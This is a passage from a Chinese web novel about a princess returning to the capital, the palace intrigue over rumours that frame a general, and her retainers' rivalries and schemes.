诚然，她对李凌霄从未真正放下戒心，但难免，天长日久，还是会相处出感情。
“我也有错，不该那样对你。”
“那，我们算和好了吧。”
他们之间，上次说这句的时候，还是冬季，在驿站的雪地里，而如今已是盛夏，说这句话的人也变成了他。
不过半载，却恍若隔世。
“嗯。”
听到她的答复，李凌霄眉眼含笑，一双丹凤眼顾盼生辉。
“今后，有我陪着长姐。”
直到，她忘了那个人。
反正她的身边，本就不需要那样的人。
微风拂过，又起燥热，李凌霄伸出手，将她发上沾落的叶子，细细碾碎。
八月初八，定州城人满为患。
秋闱在即，考生按例要提前一日入场，今日为避开人流，队伍特地在贡院封门前启程，以免冲撞考生。
贡院门口，一儒生背着行囊，正催促着自己的同行。
“小向，再不进一会儿就关门了。”
“再等等、再等等……”
“还等什么啊，难不成有人来送你？”
少年郎置若罔闻，执拗地站在原地，目
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光向四周探寻。
乍然，眼前一亮。
阴云般的行军队伍踏着步伐，被兵将簇拥的马车准时驶来，少年郎紧拽着衣袖，强忍靠近上前的冲动。
眼看闭门时间就要临近，同窗徘徊在门槛处，忍无可忍。
“你再不走，我可先进去了！向知年——！！！”
这一喊声，惊动心绪。
明珠掀开车窗帘子，往外张望。
考生都这么大嗓门吗？
那位站在门口的少年郎，正好和明珠的视线对上，刹那间，两行泪水滚落，他张了张嘴，却发不出声音。
——终于，见到您了，一切都还来得及。
马车上，明珠诧异万分，她环视过左右，确定对方是在看自己。
哭了？！
他们认识吗？
向知年，这名字她没听过啊。
贡院门外，几位守门的官差见他迟迟不动，等得有些急躁，催促道，“马上就要关门了，这位考生你到底考不考？”
明珠也跟着着急起来，对那人说道，“快去啊。”
对方似乎看出了她的口型，用袖子抹了把眼泪，转身跑入考场。
贡院的大门合上，明珠也收回视线。
真是稀奇，临到考场还要人催着才肯进去，傻站在那里，像等她似的。
马车旁的梅辛几人，也注意到这两人之间的互动。
“殿下，认识那考生？”
明珠一脸费解，“没见过。”
“那他怎么见你就哭，不是长公主辜负人家？”桑吉嘲笑道。
明珠瞥了桑吉一眼，嫌弃道，“狗嘴里吐不出象牙。”
下山的路比上山容易，回来这一趟，不用紧赶慢赶地追行程，却比去时还快得多。
又短短一月，便到了京郊。
京城的百姓得到消息，夹道相迎，从城郊到城门口万人空巷，京城花卉一售而空，香囊、丝帕、花枝，如雨纷纷。
为了北境凯旋的将士，更为了扬眉吐气的这一仗，大梁一扫过往积郁，人们仿佛又回到了齐铭在世的时代。
不畏战，战必胜，这是国之立足的底气。
134.自立门户
到了宫门外的石拱桥，遥遥一望。
那身明黄的龙袍格外瞩目，不远处，皇帝带着众位官员，在门关内相迎。
自古哪有帝王在宫门口相迎的礼节，董向阜等人受宠若惊，忙带领众人跪地叩拜，皇帝叫他们起身，急急略过，来到明珠面前，拉着她的手，上下打量。
“没受伤吧？！”
“我没事。”
明珠瞟了眼李凌霄，见他垂下眼眸，微微摇头。
看来遇刺受伤之事，李凌霄不想闹在明面上，那她也不必多言。
“怎么会有刺客啊，太危险了，以后还是不要出去了。”一提及此事，皇帝不禁气愤道，“唉，叫他们去查，也没查明白，不知道都是干什么吃的！”
皇帝发火，身后官员见状纷纷跪地谢罪，三王并不在其列，不过，他门下的那些官员都在，今日情景想必三王也将一字不漏听进耳中。
“没那么严重，说不定是栾城那伙人蓄意报复，后来也发现了刺客尸体。”
明珠瞥了眼三王的人，意味深长道，“想来，没有后患了。”
“那就好。”皇帝松了口气，“累不累啊，要不先回去歇会儿吧，晚上一起吃饭。”
其他诸位的官职升迁早已拟定，由兵部呈报，不过就是任免仪式需要皇帝出场，说几句慰问的话。
带回来的火器演练使用，董向阜也懂得，交给他正合适。
“好，北境的情况就留董将军汇报吧。”明珠看了眼董向阜，她这个甩手掌柜可以退场了，“我先回去了。”
回到长公主宫内，宫人们热情相迎。
“在东厢房找一间单独的屋子。”明珠吩咐完宫女，桑吉从树上闪身出现，她对桑吉说道，“你就先在这里住下。”
宫女们被吓了一跳，一个大活人仿佛凭空出现，长得与梁人也不大一样，不过，自家殿下爱在外面捡人回来，多一个无甚要紧。
倒是梅辛和竹临，听到此安排，面色有异。
“殿下要把他留在身边？”竹临皱眉道。
梅辛也觉不妥，佯装热情，“不如让他和我们一起，彼此还有个照应。”
“我才不要。”桑吉嫌弃道。
“殿下，若是住在宫里……”梅辛欲言又止道。
明珠知道他在忌惮什么，鬼方祂是外族，又善制毒，先前还在宫中与人勾结，成功在天牢下毒给翟渠，放任他在宫中行事，终究是个隐患。
“不打紧，反正我也快能搬出宫了。”
“为何？”梅辛和竹临同时问道。
要说起此事，还要倒回返京前。
长公主及笄，恰逢京中内乱，朝局动荡，时任宰辅、大理寺卿一党被清算，长公主立府之事无人问津。
皇子公主之事，原本该由后宫主事之人，也就是惠妃过问。
自瘟疫那年，皇帝痊愈后少去后宫各位娘娘处，更何况，惠妃对长公主本就不上心，横竖皇帝也不愿人给长公主说亲，把长公主留在宫中还能受她牵制。
事到如今，长公主也已过二十。
在北境过生辰时，董向阜便有意询问，只是被二皇子岔开了话题，当时明珠心不在焉，丝毫没有印象。
路上，董向阜又跟她说起设府之事。
“殿下如今业已足岁，可由陛下赏赐，在京自立府邸。”
按宫中规矩，皇子公主在行过成人礼后，婚嫁前要在宫外独立设府，女子笄礼一般在十五岁举行，若一直待嫁未许人，最迟岁至二十，行笄礼。
“设长公主府……”明珠疑惑道，“怎么没人说过此事？”
“许是陛下不舍，才迟迟未提及。”
“也就是说，我现在是可以在宫外找个府邸住？”
“是。”
虽说她在宫中我行我素惯了，可见人终究不便，宫内宫外都只能由在册的宫人进出，尤其是后宫，约束繁多。
她不想让桑吉在宫中留痕，也是怕人起疑，进而调查他的真实身份。
当初，松芜和菊若出宫做事，便清除了他们在宫中的记档，菊若在外经营醉仙楼，以她的本名——何莲，登记造册。
今后如
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果在宫外住，见他们便能自由许多。
晚膳时分，明珠向皇帝说起开府之事。
“你想住在外面？”
“嗯，皇子们成年后，可以在外面自设府邸，我今年满打满算也要二十了，还住在宫里，那群大臣们又要唠叨了。”
“他们爱说什么叫他们说，咸吃萝卜淡操心，管人家家孩子干什么。”皇帝给明珠夹了只虾，劝道，“乖乖，宫里面安全，住在外面爸爸担心。”
皇帝心中腹诽，不知是哪个没眼力见儿的，跟自己乖女说这事。
年前就有人在皇帝面前说，长公主年岁不小，若长久在宫内，终究于礼不合。
被他厉声驳回后，大臣们看皇帝态度强硬，也不敢再说什么，可现在她自己想出去住。
自己这个女儿做的决定，就是八头牛都拉不回来。
“这事谁跟你说的，是不是二皇子，还是董向阜？”
随行那几人，能跟长公主说得上话的，懂得这些繁文缛节，也就这两个。
“那些臭小子安的什么心，我能不知道？
“尤其是董家那个，自己后宅那么一群人，还敢觊觎公主，我看他真是给脸不要脸！”
皇帝口中愤愤不平，将明珠的碗取过，给她盛了碗甜粥。
“乖乖，以后少跟他玩，你不知道，现在京城里都在传，齐家老将军的牌位被盗，还被砸碎在三王府里这件事，就是他指使人干的。”
明珠喝粥的动作一顿，惊愕道，“什么？！”
镇国公府中。
小厮们正清扫着地上的碎瓷片，一个个屏住气息，动作麻利，偶尔眼觑着在上座，正怒不可遏的董向阜。
一旁，老管家面露担忧，不住叹气，看董向阜的眼神中满是心疼。
“这些事，本不欲让将军知道，可京里风言风语传遍了，若再不让您知道，只怕不妥。”
董向阜冷笑一声，此事的始作俑者昭然若揭，先前看在长公主殿下的面上，忍下了这口气，没成想那厮变本加厉。
这，可由不得他了。
135.你们不要再打了——！
昏晓传呼，以戒行者。
临宵禁时刻，街巷上灯火已熄，九方赌馆的大门即将落锁，却被一位不速之客生生挡下。
在三教九流混迹，护院们自然能认出，这位便是京中威名赫赫的董向阜将军，他只身前来，面色阴沉，周身散发着骇人寒意。
“松芜呢。”
见来者不善，有眼力见儿的赶忙先安抚住，再派人通传自家掌柜。
不多时，里面传了信，说请将军进来。
久经沙场之人，威仪更甚，董向阜来势汹汹，赌馆的护院们紧随其后，不敢有丝毫松懈，生怕一个不留神，东家就血溅当场。
茶室内，松芜气定神闲，扫了眼面露忐忑的一众护院。
“你们先出去吧，将军与我有话说。”
护院们瞧着东家的眼色，还是听命退了出去。待人都清空，松芜起身行礼，又摆出那副假惺惺的谦卑姿态，恭请对方落座。
“将军大驾光临，小人有失远迎，还请将军恕罪。”
董向阜站在原地，冷眼看着。
“你应该清楚，我会来找你。”
能劳动这尊大佛屈尊，自然是因京中流言，先前董向阜身在北境，为免他烦忧，董家老夫人下了令，将此事暂且隐瞒。
如今他已然归京，自然会听说。
这个人，不同于二皇子，怎么说也是旧识，对自己也算了解一二，齐家之事瞒不过他，此次必然难逃法眼。
“将军何等身份，小人怎敢担当得起。”
松芜自顾自坐下，又摆弄起桌上的香囊。
“你不必说这种话，你是什么样的人，你我心中有数。
“纵使你手段下作，可跟在她身边，总不至于这般狼心狗肺。
“看来，是我低估你了。”
松芜却充耳不闻，指尖轻捻着药草，将其重添进香囊中，直到饱满如初，系起绳结，才缓缓抬眸。
“将军此言何意。”
“雷霆将军的灵位受损，可是你做的？！”
瞧瞧，这便是京中出了名的正直之士。
自身遭受如此诋毁还能放在一旁，先问死人的事。
见松芜仍旧是一副不以为然的轻浮模样，董向阜怒意更盛，快走几步，逼近松芜面前，一把拽起他的领口。
“你利用谁，做什么勾当，本将军不在乎，唯有一点，若无齐铭将军，梁国早已不复今日，尔等焉能享受这太平盛世！！”
“……太平？”
讥讽爬上笑面，松芜嗤笑一声。
“将军所说的太平，小人受用不起。”
这天下的太平，从不是他的，十四岁那年起，他就活在水深火热中了。
“将军以为，众人都如你一般，活得尊严体面吗？
“我早就是鬼了。”
恐怕董向阜宁死，都不愿承受的那些折辱之事，自己却在那之后活着。可他活下来，并非他能承受，而是他不想死，不想让那些害自己的人安享太平。
他本蝼蚁，命如草芥，是殿下让他从鬼变成人。
倘若殿下有失，董向祺、三王无论是谁，都休想太平，即使化作厉鬼，他也要让他们不得好死。
“至于利用谁，利用什么，于小人而言，皆无谓。”
松芜将领口扯回，整理起皱皱巴巴的衣领。
“将军今日若是来杀小人，悉听尊便，可若是来训诫小人，就别白费力气了。”
见他冥顽不灵，董向阜目光凛然。
此等丧尽天良的宵小之辈，在长公主殿下身边，终究是祸害。
“你当真以为，我不会杀你吗？”
此时，屋外传来喧闹声。
“小姐！小姐！我们掌柜在见客，您不能闯进去啊！！”
砰的一声，门被推开。
明珠气喘吁吁地站在门外，护院们拦也不是，不拦也不是，进退两难。
不过，瞧这架势，东家都没说他们什么，应是没有妨碍，几人便又关上门退了出去。
“小姐怎么来了，您别误会，将军不过是有些话要说给我听……”
董向阜回过神，这才注意到松芜正跌坐在地上，方才已经整理好的衣领，不知何时又变回凌乱，那张刻薄面容上，也换了一副楚楚可怜。
明珠快步走来，拦在两人之间。
她看了眼在地上惺惺作态的松芜，心知肚明。
这次的教训是松芜应得的，看这样子，董向阜也还没动手。
说实话，若是董向阜来打他一顿，出了这口恶气，事情反而好了结。可董向阜偏偏没有，明珠担心，他是动了杀心。
京中诸事，远非表面这般，松芜虽是始作俑者，却也不会全因一己私欲，将此事栽赃给董向阜。
更何况，连皇帝都听说了流言蜚语，想来王公贵族间也有人在散
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布，幕后之人可想而知，三王要利用董向阜转移视线，这一点并不难懂。
而齐董两家的关系恶化，让董向阜背负骂名，当然也是齐家想看到的局面。
与三王的恩怨随时可算，可镇国公之死，外人不知道，齐二自己心知肚明，若先把董向阜拖下水，日后算这笔账的时候，也不至于尽落下风。
这次回京，董向阜已然成了众矢之的。
他发怒，原就在情理之中，可她不能眼睁睁看着，不管不顾松芜。
“呵……”董向阜怒极反笑，质问道，“殿下，还要护着他？”
即便人如董向阜，也不□□露出受伤之意。
“我知道你受了委屈。”明珠走上前，直视着对方，“这件事，我会给你一个交代。”
“……”
董向阜沉默了片刻，咬了咬牙，离开了。
门被狠狠摔上，门外守着的护院们如临大敌，却见董向阜黑着脸走了，再往茶室探头，里面的明珠冲他们摆手。
“今夜辛苦你们，没事了，都散了吧。”
“是。”
众人松了口气，纷纷散去。
茶室内，四下静谧，松芜理好衣物，端正跪在地上。
“松芜……”
听她叫自己的名字，松芜才敢抬起头。
这一看不要紧，方才进门时，来不及细细端详，此时才注意到，眼前之人并无意料中的责问和气恼，反而尽显颓然。
松芜心中一颤，急急起身。
“殿下这是怎么了？！”
明珠泪眼婆娑，哑声道，“兰萤她……”
“！”
旧事不可往复，唯有在啜泣声中追忆。
松芜静静听着经过，心绪繁杂。
他们兄妹三人，性情各有各的顽劣，但相依为命了这么多年。
对于这个小妹妹，他私心嫉妒，也安心利用，可他从未想过，她会这样悄无声息地死去。
她从那个扒着灶台，喊着吃饭的小东西，到后来跟在殿下身边，对他们耀武扬威的小丫头，最终，化为一抹灰烬。
那丫头非要跟去北境的时候，他心不情愿，或许，他该拦下她，即便并非出于善意，他也该拦下她的。
……
算了。
她铁了心要去找殿下，谁也拦不住。
即便重活一次，他相信，她还是会这样选。
136.旧日疑云
夜已深，京都城门紧闭。
郊外，人影窸窣，王藏等人此行不比官道畅通，又无水路大船相送，抵达京郊时，听说长公主殿下一行人业已班师回朝。
在京郊凑合了一夜，待次日天光大亮，王藏便带人早早动身。
前头回来的人早已将他们的情况禀明，东家自然知道王藏留下是为了那几人安危。
今早见他们回来，缺了一人，也不挑明，口头教训了两句，叫他们以后长个记性。
在镖局记了档，算是清了这次的活儿。
一旁，范掌柜给王藏递了个眼色。
过去，王藏在大理寺卿曲晋元当差，后来褚宰相倒台，连带着曲家也遭了殃，王藏作为旧属，若不主动卸任，就得等着被一同清算。
京师同兴镖局的范掌柜与王藏有些交情，对其颇为赏识，便招募他为总镖头。
镖局伙计熙熙攘攘，范掌柜走到少人处，王藏跟随其后。
“三王和齐家的事，你听说了吗？”
“是，到京城根儿就听说了。”
“你不在，曲家那孩子找了你许多次，想来是为了那件事。”范掌柜打量过四周，压低声音，“这趟浑水，千万不要沾身。”
如今京中有权有势的都被卷进去了，董家、齐家、三王，陛下对此事态度模糊，这些王公亲贵在陛下身边闹了多日，还是不了了之。
范掌柜用手背敲了敲王藏的胸口，语重心长道，“若真查出来什么，担待不起。”
这事无论是哪方势力所为，都不该由他们这些升斗小民揭开，他劝王藏，也是怕他抹不开过去的情面，自讨苦吃。
“是，”王藏拱手道，“多谢您提醒。”
听说曲昶被三王收入门下，做了大理寺少卿，他进了镖局走活儿，两人也就不大联系了。
可王藏深知，曲昶那孩子犟得很，也怪过去曲大人家教严，孩子认死理儿，以至于后来曲大人以权谋私被下狱时，久久不能释怀。
王藏自己，又何尝不是如此。
那一年，冀州水患。
上头说，冀州地界闹了反贼，特派时任大理寺卿的曲晋元前往平乱，王藏作为大理寺捕头，也在其列。
所谓的反贼，乃是冀州顾家掌门人顾平。
此人出身武林世家，在江湖颇有名望，于灾荒当下开仓放粮，接济灾民，却被打上拉拢人心、意图谋反的罪名。
而这罪名，就是曲晋元曲大人定下的。
至于缘由，也是些讳莫如深的话题，冀州北临北境，南近定州，定州所属三王李昇，褚相势力若要侵入北境，从周边地区徐徐图之，冀州首当其冲。
顾家满门抄斩，冀州由褚相的人接管，直到前些年褚相被下狱流放，那桩经年冤案终被平反。
既然旧案昭雪，那长公主殿下身边的那个护卫……
王藏特地打听过，那人名叫梅辛，年方十六，是长公主殿下的亲随。
“岁数不对啊。”王藏自言自语道，“若真是他……”
当初顾家狸猫换太子，将其幼子调换，虽身形样貌相仿，却难逃他的火眼金睛，可顾家之冤屈，他心知肚明，于是行刑场上并未拆穿。
那孩子若躲过一劫，熬到冤案昭雪，如今也要十八九了。
此事是王藏仅存执念，必得验证一番。
禁军大营内。
练兵场上，梅辛正被司徒大统领拽着摔跤，对面蛮牛似的，来势凶猛，梅辛腰腹一挣，勉强撑住。
“怎么，小子，去了趟戎狄，也没学什么本事啊！”
梅辛没正形道，“戎狄那些花招式，怎么跟大统领您比。”
“哈哈——”
大统领一个背摔，将梅辛摔在沙地上。
“这拍马屁的本事，倒是一如既往。”
梅辛脱力地躺在沙地上，吐了吐嘴里的扬尘。
“竹临那小子呢，怎么不见他。”
“他跟着我们殿下呢。”
“你怎么不去，也是，这男人没本事啊，也难怪长公主殿下瞧不上眼~”
听到这话，梅辛噌的一下从地上爬起来。
“您要是这么说，下把我可不让您了。”
“嘿，好小子，少说大话，来！”
直至筋疲力尽，梅辛靠在墙边，往嘴里灌水。
今日本该在宫外陪同殿下，毕竟他们这一回京，总要将兰萤的死讯告知松芜和菊若，怎么说也是骨肉血亲。
听松芜那边传信，殿下昨夜去了九方赌馆，来不及回宫，就在醉仙楼歇了。
一大清早，同兴镖局的那位王镖头前来，正巧在军营门口拦住他，说在北境时相逢，与他投契，相邀他吃顿便饭，当是结交。
可梅辛深知，此举绝非表面如此。
或
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许猴三之死，那人有所顾忌，又或许，察觉到了别的什么。
他心里乱，托竹临向殿下告了假，留在军营。
无论如何，今日一探，便知究竟。
酒桌前，二人推杯换盏，王藏本意借着酒劲儿，说话便能少了几分遮掩，却不料这小子看着年纪不大，酒量甚是不错。
生怕自己喝高，忘了正事，王藏将话题引上正途。
“在北境时，我就瞧着梅辛小兄弟眼善，身上还带着江湖侠气，好似不是京城人士，不知小兄弟家是哪里？”
梅辛又敬上一杯，面不改色道，“小弟自幼漂泊，四海为家。”
“怎会如此，”王藏眉头一皱，“你小小年纪，漂泊在外，可是家乡遭过灾荒？”
“大约是，只是当时年幼，没什么印象了。”
王藏打量着对方，试探道，“若是灾荒，莫不是冀州？”
一听“冀州”二字，梅辛心念一动。
却在这时，听到外面传来动静，王嫂推门进来，先冲梅辛客气一笑，而后俯身与王藏耳语一番。
“怎么追家里来了……”
“可是家中有事？”梅辛有眼力见道，“既然如此，不如小弟今日就先告辞——”
“欸！”王藏拦住他，摆手道，“不打紧、不打紧，我去前厅说几句话就回来，你吃你的，来王哥家不必讲那些虚礼！”
“就是，梅辛小兄弟，你坐！”王嫂也是爽快人，跟着劝道，“你就把这儿当自己家，嫂子陪你喝一杯。”
王藏离开后，王家嫂子留下待客。
“嫂子，瞧我大哥的脸色，莫不是家中遇到难事了？”
梅辛面上装作担忧，话中尽是关怀之意。
“有什么只管跟小弟说，王大哥待我极好，小弟义不容辞。”
“多谢梅辛小兄弟这份心，”王嫂笑道，“不是什么大事，就是旧人来访，你大哥去打个招呼。”
“原来如此，王藏大哥从前是大理寺出身，想来人脉甚广。”梅辛试探道，“这旧友登门，不如请进来，一同喝一杯？”
“嫂子知道弟弟是好心，只是……”
王嫂叹了口气，说道，“不瞒你说，你大哥如今这镖局的差事，虽说辛劳、又有风险，可比起那些旧人，却也自在不少。”
“若非顾念往日情分，我实在不愿他再卷进官场的是非之中。”
137.超级侦探，认真办案
赶往前厅，就见一青年背着手，立在桌前。
王藏站在门外，竟有些许恍惚，他跟在曲大人身边时，大人也不过二十五六，神态动作，和眼前之人如出一辙。
见到来人，曲昶上前。
“师父，许久未见。”
“大人。”王藏恭敬行礼道。
“您是长辈，无需如此。”
“草民已远离仕途，自然该向少卿大人行礼。”
王藏面色平静，口吻也带着疏离，“我知大人前来所为何事，只是此事，草民恐怕帮不上忙。”
听对方此言，曲昶难掩失落。
京中流言纷纷，矛头直指董向阜，可曲昶清楚，这无非是障眼法。
陛下那边将此事按下，明面上他不能作为大理寺少卿调查，可三王怎会轻易善罢甘休，不断催促他找人替其顶罪。
曲昶扛着上头的压力，不愿潦草定性，冤枉无辜之人。
这些时日，他暗中走访，屡遭碰壁。
无外乎是忌讳他的身份，他作为曲家后人，父亲既是遭受肃清的褚相一党，又是铁面无私的大理寺卿。
至少，在顾家冤案之前，其父曲晋元为官是出了名的刚直不阿，也因此得罪了不少人。
过去大理寺的那些旧属，现如今在京的，只剩下王藏等人。
“辨别行踪、查验作案手法，这些，都是当年您和父亲传授给我的。
“如今，曲昶能仰赖的，也只有师父您了。”
曲昶话里话外难掩落寞，王藏看在眼里，终究于心不忍。
当年那些事，对这孩子而言，也是无妄之灾。
墙倒众人推，曲昶深受当年之事所累，走到哪里，都会被人说闲话、戳脊梁骨。
若无三王保举，恐怕这辈子连个出路都没有。
王藏清楚这些王公亲贵的德行，曲昶这些年在三王手底下，怕也难做。所幸三王并非褚相那等野心勃勃之辈，用不到人的时候，也不会多事。
可越是这样的人，当他需要你做事的时候，才不管你办案有多少阻挠、多少力所不能及，罔顾程序正当，遑论取证得当，他只要他想要的那个结果，有理有据。
“即便查出犯案之人是陈一言，可单凭我一人……”
曲昶握拳的手紧了又松，无奈道，“师父，您知道的，大理寺过去那些人都……我没有别的法子了。”
王藏叹了口气，说道，“你想问什么。”
闻言，曲昶眼睛一亮，忙问道，“陈一言，那个江洋大盗现在何处。”
镖师，江湖人称明挂子，大多数镖师与山匪、盗贼所谓黑门坎的人，也有些交情。
尽管不是一个行当，但多少会给对方留几分薄面，所以说，招揽一些有知名的镖师放在家里，本身就是一个辟邪的符咒。
而陈一言，王藏确实认识，也清楚他的身份。
那老家伙金盆洗手后，在京城的九方赌馆做掷子，可这些事，不能和盘托出，且不说那九方赌馆的掌柜神秘莫测，其背后之人更不知是哪座金佛。
若贸然告知，曲昶必定要前去搜捕，于他于王藏自己，都难料祸福。
“他老家在京畿，一个叫邰庄的村子，我只能告诉你这些。”
九方赌馆内，松芜收到线报，曲昶去了一人家中。
“王藏？”
“是，回掌柜的，此人过去乃是大理寺捕头，据说是曲昶的师父，后来卸任去了京师同兴镖局，现如今是那儿的总镖头。”
“派人去盯着，若曲昶那边有什么动静，就把那个人抓回来。”
松芜凝视着字条上的名字，目光阴狠，宛如毒蛇吐信。
“必要时，杀了。”
王藏家后院，王嫂正与梅辛闲话家常。
“听你大哥说，你如今是在明珠长公主殿下身边当差？”
“是，幸得长公主殿下收留。”
“不错，跟在长公主身边好。”
王嫂话锋一转，八卦道，“不过，殿下回京是否要与董将军定下了呀，到时候你们这些亲随护卫，能跟着一同去国公府吗？”
梅辛脸上笑容一怔。
“嫂子您说笑了，我家殿下和董将军，八字还没一撇呢。”
这时，王藏从前厅回来。
“久等了，今日真是怠慢梅辛弟弟了。”王藏对自己媳妇说道，“厨房还有菜吗？”
王嫂福至心灵，笑道，“有啊，你们稍等我啊。”
待屋内仅他二人，王藏坐下，举起杯。
“来，咱哥俩接着喝。”
梅辛却没有动作，他手指摩挲着杯口，面色转冷。
“方才登门之人，是王叔大理寺的旧人吧。”
“啊……”王藏不自然道，“是。”
“那你不该让他进门，更不该去见他。”
见对方面色有异，王藏警觉起来。
“此话何意。”
梅辛神色郑重，严肃道，“无论你告诉了他什么，趁还未被人发现，立刻收拾东西走，走得越远越好，不要再回来。”
“！！”
王藏这种老江湖，很快便
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能想通其中利害。
当即去镖局通了气，范掌柜得知他所为后，瞪着他欲言又止，却也知道多说无益，叫王藏只管先走，镖局这边他来善后。
临走前，王藏与梅辛告别。
“我只想问你一句，你……”
王藏咬了咬牙，终未能问出口，隐晦道，“当年之事，是我此生所愧，你若是他，还望你今后珍重。”
说罢，踏上马车，与家人一同离开了。
梅辛望着驶去的马车，脸上是从未有过的沉重，那些不曾示人的过往，终究还是在今日掀起一角。
滔天的记忆涌现，官兵、枷锁、牢狱……
他长吁一口气，压下心绪。
回过头，对着附近茶摊盯梢的人说道，“跟你们掌柜说，事了了，那人不会再回来了。”
几人互相递过眼色，有两人起身，欲追上马车。
梅辛手置于剑鞘，弓起身子，挡在他们面前。
“我说了，事情已了。”
领头的那人见状，盘算不便在此硬碰硬，于是笑脸相迎。
“这，小的们也是听命行事，您就别为难我们了。”
“那好，我去跟他说，但我奉劝一句，若对他们下手，倒霉的不只是你们，还有你们掌柜。”
说罢，梅辛马不停蹄赶往九方赌馆，一下马，就直奔茶室。
“王藏只说了陈一言老家，他现已离开京城，以后也再不会回来，没必要杀他。”梅辛见到松芜，开门见山道。
桌案后，松芜瞥了他一眼，将手中的地图放下。
“原来你今日告假，是去吃里爬外了呀。”
梅辛无视他的嘲讽，说道，“曲昶那边，若有何事，你可随时支使我。”
“你这是——谈条件？”松芜轻慢一笑，问道，“若我叫你杀了曲昶呢？”
“可以。”
听到对方爽快答应，松芜不由收起笑意。
在斗兽场那种地方活下来的孩子，还能保有常人心性，本身就是一件不寻常的事。
他们虽彼此瞧不上眼，可却不得不承认，梅辛在他们这些人之中，称得上是绝无仅有的好人了。
但他却愿意杀曲昶……
松芜目光审视，像要看穿对方似的。
“你何故帮我？”
“没什么，看不惯那位少卿大人罢了。”
“他得罪过你？”
“得罪？”梅辛摩挲着下巴，戏谑道，“从松芜哥嘴里听到这种话，还挺新鲜，当初你整治我和竹临，难道我们得罪过你？”
138.你清醒一点
三年前，那把对练所用的木剑，梅辛方拿在手中，就觉得蹊跷，当下他拿不准，是军营有人要给他们下马威，还是其他人别有居心。
他将计就计，和竹临受了伤，殿下彻查，才发现是松芜私下替换。
往日他们在军营，松芜接手地下赌场，开办了九方赌馆，除了殿下召见，他们几乎没有交集。
他不明白，松芜为何要针对他们。
直到——
殿下无计可施，决定派松芜去北境，那一日，梅辛在门外，听到那人苦苦哀求的声音。
原来如此。
这个人所图谋的，竟然是殿下。
而如今，他在京中搅弄风云，不过是想在殿下身边有一席之地，若按当初殿下为他筹谋，管理酒楼，便只是一个平庸的酒楼掌柜。
何况，松芜原本就是野心之辈。
这样的人在殿下身边，能否被驾驭，还未可知。
一时之间，两人对峙着，相对无言。
突然，砰的一声！
茶室的门被人大力推开。
松芜不由扶额，照这几日的动静，这门迟早要换。
这边梅辛背对着门口，听到动静，被吓了一跳，猛地回过头去，就见菊若在门口，径直朝他们走来。
瞧这架势，像要打起来。
“小姐回宫了？”松芜问道。
菊若没有理会，冷声道，“你出去。”
梅辛知道这话是对自己说的，他看向松芜，等一个答复。
“若那人识时务，我不会动手。”
听罢，梅辛并不多留，干脆离开。
茶室内，只剩下他们两人。
昨夜殿下在醉仙楼歇下，此行北境发生的事，菊若想必也听说过了。
松芜对她的冷脸视若无睹，将桌边的棋盘摆开，悄然压在地图上。
“别藏了。”
菊若瞥见垫在下面的东西，便知晓他这是在琢磨长公主府的选址。
被拆穿了心思，松芜也不慌，横竖殿下搬出宫，对他而言是好事，至于会不会设在他猜想的这几处，还要看陛下定夺。
菊若此时却懒得理会他这些小把戏，她有更要紧的事，要问个清楚。
“殿下在运粮途中遭遇刺杀，小妹也是因此事而死，这些你早就知道了，是吗？”
面对对方的责问，松芜早有预料。
他先前瞒着菊若，就是怕她冲动，也料想过，这股火会烧在自己身上，迟早的事。
“小妹的事，我也刚得知。”
“那——刺杀呢？”
殿下为了不让她忧心，避重就轻，可菊若心中清楚，若只是刺杀未遂，以小妹的性子，又怎么可能需要服用毒物才能入睡。
她寻机私下问了竹临，连竹临的脸上，都有着心有余悸的慎重。
那一箭，若无戎狄大王子相救，殿下绝无生还的可能。
松芜沉声道，“之前只是猜测，殿下曾寄信来，让我寻机送进宫中，借机警示三王，我才确定。”
听到他的说辞，菊若兀自笑了两声，眼中尽是嘲弄。
“能说的这么坦然，这些，也都是你的谋算吗？”
松芜皱眉道，“你在说什么疯话。”
“既然你已确定，为何不杀了三王，你假模假样地弄残齐二，三王呢，他不是还活得好好的？！
“我实在不懂，你是怎么想的，那人可是打算要了她的命！！”
松芜屏息，并未作答。
桌案上，盅里的棋子被手指搅弄，几颗黑子被抓起，攥在手心，硌得发疼。
“不顾殿下的安危，哈巴狗似的讨好权贵，这京城你待得自在呀。
“何献，你算什么玩意儿啊，若是没有她，你就是阴沟里的臭虫，又烂又贱！！”
棋子被用力掷在棋盘，噼里啪啦，散落一地。
松芜抬眸看向她。
“骂够了吗。”
她以为，三王和齐二是一路便宜货色吗？
齐二无非是仗着昔年余威，才得以在京中耀武扬威，可实际上，如同狂吠败犬。
三王则不同，他若是死了，必将引发朝野震荡，松芜自己可以不在乎，但他清楚，殿下不会希望看到那样的结局。
“三王还不能死。”
“三王不能死，那她呢。”
菊若眼睛通红，声音不住颤抖。
“若
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有一日，她和小妹一样，死在你我看不见的地方，该怎么办？！
“你告诉我，该怎么办！！！”
一想到这些，心痛便难以自抑。
菊若跪倒在松芜脚边，双手紧拽着松芜的衣角，宛如哀求。
“哥，我不想再无家可归了……
“她说过，她会救我们，会疼我们，我求你，我不能没有她……”
忽然，菊若好似想到了什么。
“我们把她关起来吧，像上次一样。”
这次，关在一个谁都不知道的地方。
菊若盯着他，目光迫切，像在寻一个附和。
见状，松芜轻叹了口气。
旁人或许看不出，自己这个妹妹，才是惯会借刀杀人的。
从始至终，那些不为外人道的丑恶之事，她都身在其中，却又悄然隐身，脏活累活都留给旁人做，在殿下面前装得无害。
看着近乎魔怔的菊若，松芜端起桌上的茶，毫不留情地浇在她的头上。
“醒了吗？”
“……”
茶水顺着发丝流下，沾湿了面容和衣衫，残余苦涩茶渣。
连同肮脏心肠一起，变得狼狈。
菊若默默掏出帕子，擦拭过发梢和脸颊，面色如常，仿佛方才什么都没发生。
见她不再胡搅蛮缠，松芜才继续道，“污蔑董向阜的事，殿下知道了，承诺会给他一个交代。”
“关我何事。”
菊若语气平静，一副事不关己的冷漠样子。
以殿下的性子，既做出承诺，日后必定会有所为。
虽不会把他们交代出去，任凭处置，但若是再“流放”一次，他们谁都不愿承受。
与其自己受苦，不如出卖别人。
“散布谣言是二皇子指使的，难不成，你要替他背这个黑锅？”菊若反问道。
恐怕，还真要如此。
纵使不情愿，他和二皇子之间的勾结，还不能轻易示人。
“现在拆穿，以二皇子的心智，必定会发现我与殿下的关系，不是有这么一句话，宁得罪君子，勿得罪小人。
“那个人，万不得已，不要与他交恶。”
139.等一个不回家的人
身上的薄纱被浓茶染上暗沉，菊若站在衣橱前，层层翻着，找一件穿得出去的外衫，交叠的布料触感突变，她眉头一皱，竟从里面搜罗出件女衫。
“这是谁的？”
